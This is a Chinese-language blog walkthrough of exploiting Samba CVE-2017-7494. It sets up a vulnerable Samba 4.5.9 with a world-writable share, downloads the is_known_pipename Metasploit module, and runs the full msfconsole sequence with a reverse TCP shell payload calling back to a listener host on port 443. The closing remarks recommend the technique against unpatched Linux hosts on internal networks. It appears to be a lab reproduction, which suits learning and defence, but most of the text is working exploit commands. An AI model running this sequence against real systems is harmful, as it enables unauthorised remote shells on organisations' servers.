APT404-不作恶

在路上,一直在路上!

Samba RCE 利用小记 [ CVE-2017-7494 ]



0x01 Samba 远程执行快速利用小结 CVE-2017-7494,至于samba是什么,我就不科普了[说白点儿就是个win和linux机器共享文件的服务,企业里面已经用到烂的东西],直接看过程吧

1
漏洞影响Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本

0x02 关于漏洞的简要描述,说的通俗一点就是’允许samba用户上传自己的类库到可读写的samba目录中’所导致的远程执行:

1
https://www.samba.org/samba/security/CVE-2017-7494.html

0x03 在演示漏洞利用之前,我们需要先快速配置下samba环境[这里以centos 6.8 x64上的编译安装为例,至于为什么要编译,只因踏了太多的坑]:

1
2
3
4
5
6
7
首先,准备好共享目录:
# mkdir /opt/opendir
# cd /opt/opendir
# mkdir demodir{1..12}
# touch file{1..12}
# echo "hello samba" >> file1
# chmod -R 777 /opt/opendir/ 权限务必管够,因为要往这里面读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
下载编译安装samba 4.5.9:
# cd
# mount /dev/cdrom /mnt/cdrom/
# yum -y install gcc perl python-devel gnutls-devel libacl-devel openldap-devel 安装一些依赖
# wget https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz --no-check-certificat
# tar -zxf samba-4.5.9.tar.gz
# cd samba-4.5.9
# ./configure --prefix=/opt/samba/ 这里直接让它安装到samba目录下就好了,检测的项可能有些多,耐心等一会
# echo $?
# make 编译链接的过程可能会稍微长点儿,耐心点儿哈
# echo $?
# make install
# echo $? 如果编译过程中没什么错误,就可以接着往下走了
# ls -l /opt/samba/

''

0x04 编辑samba的主配置文件:

1
2
# cp examples/smb.conf.default /opt/samba/etc/smb.conf
# vi /opt/samba/etc/smb.conf

0x05 添加共享目录

1
2
3
4
5
6
[global] # 全局配置
workgroup = MYGROUP
server string = Samba Server
log file = /opt/samba/var/log.%m
max log size = 50 单位kb
security = user 务必把这句加上,设置安全等级用的,必须用户登录

1
2
3
4
5
6
[opendir] #共享目录配置
comment = CVE-2017-7494
browseable = yes 对该共享目录可读
writable = yes 对该共享目录可写
path = /opt/opendir/
# guest ok = yes 是否允许匿名登录,可加可不加,只要保证共享目录能读写就好了,因为要往里写so

''

0x06 创建samba用户

1
2
3
4
# useradd smber
# cd /opt/samba/bin/
# ./smbpasswd -a smber 添加samba用户
# cd /opt/samba/sbin/ && ./nmbd && ./smbd

''

1
2
smbd:为clinet提高资源访问	 tcp  139  445
nmbd:提供netbios主机名解析 upd 137 138

''

0x07 准别好msf的exp[当然,有py版的,msf会更方便点]:

1
# wget https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb

0x08 把它丢到samba的漏洞利用模块目录下

1
# mv is_known_pipename.rb /usr/share/metasploit-framework/modules/exploits/linux/samba/

0x09 开始利用过程:

1
2
3
4
5
6
7
8
9
10
11
# msfconsole
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set rhost 192.168.3.15
msf exploit(is_known_pipename) > set smb_share_base /opt/opendir
msf exploit(is_known_pipename) > set target 0
msf exploit(is_known_pipename) > set payload linux/x64/shell_reverse_tcp
msf exploit(is_known_pipename) > set lhost 192.168.3.9
msf exploit(is_known_pipename) > set lport 443
msf exploit(is_known_pipename) > set smbuser smber
msf exploit(is_known_pipename) > set smbpass admin
msf exploit(is_known_pipename) > exploit

''
''
''

一点小结:
    中间的坑就不想说了,本来几分钟就可以重现的东西,浪费了一个多小时,唉,都是泪,总之,对于内网的linux机器还是非常值得尝试的,前提是开了此服务并且已经事先拿到了一个可以登录的samba账户密码[匿名非常少,几乎没有],而且版本号务必要对的上才行,说白点,如果直接是yum或者apt安装的,更新非常容易……你懂的,如果是编译安装的可能还更新的稍微慢一点


CVE